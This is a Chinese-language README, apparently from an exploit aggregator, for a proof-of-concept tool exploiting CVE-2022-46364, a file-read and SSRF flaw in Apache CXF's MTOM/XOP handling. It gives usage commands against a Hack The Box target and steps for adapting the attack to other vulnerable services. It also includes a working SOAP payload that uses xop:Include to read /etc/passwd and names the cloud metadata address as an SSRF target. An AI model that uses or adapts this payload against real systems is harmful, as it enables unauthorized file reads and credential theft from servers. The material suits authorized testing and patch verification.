## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-C0GNIT00-CVE-2022-46364
# CVE-2022-46364 — Apache CXF MTOM/XOP SSRF(文件读取)
> 针对 **CVE-2022-46364** 的概念验证(PoC)利用程序 —— Apache CXF 在 MTOM/XOP 请求处理中的服务端请求伪造(SSRF)漏洞。
* * *
## 漏洞概述
**CVE-2022-46364** 影响 **3.4.10** 和 **3.5.5** 之前版本的 Apache CXF。当 SOAP 服务启用 MTOM(消息传输优化机制)时,CXF 反编组器会对 `<xop:Include>` 元素内的 `href` 属性校验不当。CXF 并未按要求将 `href` 限制为 `cid:` URI(W3C XOP 规范要求如此),而是解引用了任意 URI —— 包括 `file://`、`http://` 和 `https://`。
这使得未经认证的攻击者能够:
* 读取任意本地文件(`file:///etc/passwd`)
* 对内部服务执行 SSRF(`http://169.254.169.254/`)
* 可能访问云元数据端点或内部 API
* * *
## 目标
本 PoC 编写并测试于 **Hack The Box** 机器:
**目标端点:** `http://devarea.htb:8080/employeeservice`
但根据目标 WSDL 对 XML 载荷稍作修改,即可使其适配目标环境。
* * *
## 使用方法
### 读取 /etc/passwd(默认目标)
默认 URL 为 `http://devarea.htb:8080/employeeservice`。
root@kitploit:~
python3 CVE-2022-46364.py --file /etc/passwd
### 自定义目标 URL
root@kitploit:~
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
### 详细模式 —— 显示请求及原始响应
root@kitploit:~
python3 CVE-2022-46364.py --file /etc/passwd --verbose
* * *
## 适配其他目标
> **重要提示:** 此脚本针对 HTB DevArea 的 WSDL 结构进行了硬编码。要将其用于另一个存在漏洞的 Apache CXF 服务,**必须修改** `build_payload()` 中的 SOAP 载荷,以匹配目标 WSDL 契约。
### 适配步骤:
1. **获取目标的 WSDL:**
root@kitploit:~
curl http://target:8080/employeeservice?wsdl
2. **确定服务详细信息:**
* `targetNamespace`(例如 `http://devarea.htb/`)
* 操作名称(例如 `submitReport`)
* 参数结构(例如包含嵌套 `<content>` 的 `<arg0>`)
3. **修改`build_payload()` 中的载荷:**
* 更新命名空间(`xmlns:dev="..."`)
* 更新操作名称(`<dev:submitReport>`)
* 更新参数包装器(`<arg0>`)
* 将 `<xop:Include href="file://{filepath}"/>` 放置在服务器将作为附件处理的字段内
4. **运行脚本时更新`--url`。**
### WSDL 适配示例
给定以下 WSDL 片段:
root@kitploit:~
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
你的载荷应变为:
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
* * *
## 工作原理
1. 脚本构造一个带有 `Content-Type: application/xop+xml` 的 `multipart/related` HTTP 请求。
2. 在 SOAP 正文中放置一个 `<xop:Include href="file:///etc/passwd"/>` 元素。
3. 存在漏洞的 CXF 服务器将其视为附件引用,并解引用 `file://` URI。
4. 文件内容被读取,由服务器进行 base64 编码,然后通过 SOAP `<return>` 元素返回。
5. 脚本提取 `Content:` 之后的 base64 字符串并对其进行解码。
* * *
## 参考资料
* * *
## 免责声明
本工具仅用于**授权的安全测试和教育目的** 。在测试不属于你的系统之前,请务必获得明确许可。作者不对因使用本脚本而造成的任何滥用或损害负责。
* * *
## 许可证
MIT 许可证 —— 欢迎适当注明出处后使用、修改和分享。